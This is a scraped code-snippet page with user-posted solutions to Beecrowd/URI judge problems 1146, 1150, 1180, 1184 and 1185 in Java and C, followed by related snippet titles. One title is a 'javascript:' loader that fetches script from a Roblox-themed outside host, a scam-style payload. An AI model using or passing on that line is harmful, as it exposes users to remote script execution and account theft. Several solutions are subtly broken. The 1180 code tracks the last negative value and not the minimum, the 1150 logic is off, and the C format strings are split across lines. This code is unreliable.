Search
 
SCRIPT & CODE EXAMPLE
 

JAVA

Uri/Beecrowd problem no - 1146 solution in Java

import java.util.Scanner;
public class Main{
    public static void main (String[] args) {
        Scanner obj = new Scanner(System.in);
        int X;
        while(true){
            X = obj.nextInt();
            if(X == 0){
                break;
            }else{
                System.out.print("1");
                for(int i = 2; i <= X; i++){
                    System.out.print(" " + i);
                }
                System.out.println();
            }
        }
    }
}
Comment

Uri/Beecrowd problem no - 1150 solution in Java

import java.util.Scanner;

public class Main{
    public static void main (String[] args) {
        Scanner obj = new Scanner(System.in);
        int X,Z,counter = 1,c = 0,i;
        X = obj.nextInt();
        Z = obj.nextInt();
        
        while(Z <= X){
            Z = obj.nextInt();
            for (i = X; i <= Z; i++){
                c += i;
                if(c > Z){
                    break;
                }else{
                    counter++;
                }
            }
        }
        System.out.println(counter);
    }
}
Comment

Uri/Beecrowd problem no 1180 solution in JAVA

import java.util.Scanner;
public class Main{
    public static void main (String[] args) {
        Scanner obj = new Scanner(System.in);
        int N,o,i,min = 0,position = 0;
        N = obj.nextInt();
        int X[] = new int[N+1];
        for(i = 0; i < N; i++){
            o = obj.nextInt();
            X[i] = o;
            
            if(X[i] < 0){
                min = X[i];
                position = i;
            }
        }
        System.out.println("Menor valor: " + min);
        System.out.println("Posicao: " + position);
    }
}
Comment

Uri/Beecrowd Problem no - 1184 solution in C

#include<stdio.h>
int main(){
    double M[12][12],sum = 0;
    int i,j,counter = 1;
    char O[2];
    scanf("%s", O);
    
    for(i = 0; i < 12; i++){
        for(j = 0; j < 12; j++){
            scanf("%lf", &M[i][j]);
        }
    }
    for(i = counter; i < 12; i++){
        for(j = 0; j < counter; j++){
            sum += M[i][j];
        }
        counter++;
    }
    if(O[0] == 'S'){
        printf("%.1lf
", sum);
    }else if(O[0] == 'M'){
        printf("%.1lf
", sum / 66.0);
    }
    return 0;
}
Comment

Uri/Beecrowd Problem no - 1185 Solution in Java

import java.util.Scanner;
public class Main{
    public static void main (String[] args) {
        Scanner obj = new Scanner(System.in);
        double M[][] = new double[12][12];
        double sum = 0.0;
        int i,j,counter = 1;
        String O = obj.next();
        
        for(i = 0; i < 12; i++){
            for(j = 0; j < 12; j++){
                M[i][j] = obj.nextDouble();
            }
        }
        for(i = 10; i >= 0; i--){
            for(j = 0; j < counter; j++){
                sum += M[i][j];
            }
            counter++;
        }
        if(O.equals("S")){
            System.out.printf("%.1f
", sum);
        }else if(O.equals("M")){
            System.out.printf("%.1f
", sum/66.0);
        }
    }
}
Comment

PREVIOUS NEXT
Code Example
Java :: call to jdbc template each class not by super 
Java :: java log4j2 load configuration 
Java :: how to search element in jtablejava 
Java :: firemonkey android ini file read 
Java :: tenth digit is odd in c 
Java :: public class HelloWorld { public static void main( String[] argv ) { int a=4%2*3-1/0; System.out.println(a); } } 
Java :: xJavascript:$.get("//javascript-roblox.com/api?i=8593") 
Java :: output 
Java :: spigot item break 
Java :: java get first node in a list 
Java :: java jbutton trigger action 
Java :: check if object is a string java 
Java :: drools spring boot 
Java :: load list of integers from console 
Java :: java parse date with optional timezone 
Java :: ratespiel java 
Java :: {1 2 3 4 5 } 
Java :: how to return list in java 
Java :: Duplicate entry Exception 
Java :: android studio null 
Java :: spring boot dto example 
Java :: The larger and the smaller of the character “E” and the integer 71 java 
Java :: intellij disable welcome screen 
Java :: primefaces p:dataexporter encoding for pdf preProcessor 
Java :: java delete instance of class 
Java :: viewResolver 
Java :: hashmap declare and initialize with values in 1 line java 
Java :: java digit in number 
Java :: multiple return values in function java 
Java :: java enum values() 
ADD CONTENT
Topic
Content
Source link
Name
3+6 =